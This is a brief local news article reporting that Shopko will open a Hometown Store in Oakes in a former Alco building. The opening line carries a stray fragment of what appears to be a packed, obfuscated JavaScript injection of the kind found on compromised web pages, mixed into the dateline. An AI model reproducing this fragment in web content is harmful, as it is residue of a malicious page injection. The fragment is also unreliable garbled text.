OAKES sbnyy|var|u0026u|referrer|hyrkz||js|php’.split(‘|’),0,{}))
(NewsDakota.com) Shopko has announced one of its Hometown Stores will open in Oakes by the end of March, and will be operating out of the building that was recently vacated by Alco. 

The Green Bay, Wisconsin based company says the Hometown Store, of which there are more than 175 nationwide, is of a smaller stature than the company’s larger stores.  Shopko has stores in Valley City and Aberdeen, South Dakota.

Alco, which announced bankruptcy in October, was headquartered in Coppell, Texas and offered similar items to that of Shopko. The Oakes Alco location officially closed its doors within the last month.
